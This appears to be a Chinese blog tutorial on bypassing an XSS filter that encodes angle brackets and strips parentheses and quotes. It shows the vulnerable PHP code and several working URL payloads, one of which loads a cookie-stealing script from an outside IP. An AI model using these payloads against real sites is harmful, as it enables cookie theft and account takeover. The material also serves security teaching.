【应用安全——XSS】过滤圆括号、尖括号绕过

先看下程序大概写法:

<?php
header("X-XSS-Protection:0");
$out = $_GET['code'];
$out = str_replace("<","&lt;",$out);
$out = str_replace(">","&gt;",$out);
$out = str_replace("("," ",$out);
$out = str_replace(")"," ",$out);
$out = str_replace("'"," ",$out);
echo "<html>
<body>
<input value=\"$out\">
</body>
</html>";
?>

首先编码了尖括号,那么无法闭合input标签,注意到这里是没有过滤双引号的。

http://192.168.192.120:8080/1.php?code=1" autofocus onfocus=alert(1) x="

输出源码如下:

<input value="1" autofocus onfocus=alert 1  x="">

因为过滤了小括号,无法弹窗,可以考虑用location中URL编码小括号绕过。

http://192.168.192.120:8080/1.php?code=1" autofocus onfocus=location='javasCript:alert%25281%2529' x="

但是这里过滤了单引号,我们改为双引号

http://192.168.192.120:8080/1.php?code=1" autofocus onfocus=location="javasCript:s=document.createElement%2528%2522script%2522%2529;s.src=%2522//120.92.84.50/myjs/cookie.js%2522;document.body.appendChild%2528s%2529;" x="

或者使用this.name传入,修改如下:

http://192.168.192.120:8080/1.php?code=1" name=javasCript:alert%25281%2529 autofocus onfocus=location=this.name x="

可以成功弹窗了,然后引入js,获取Cookie。

参考文章:
https://www.secpulse.com/archives/47696.html

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值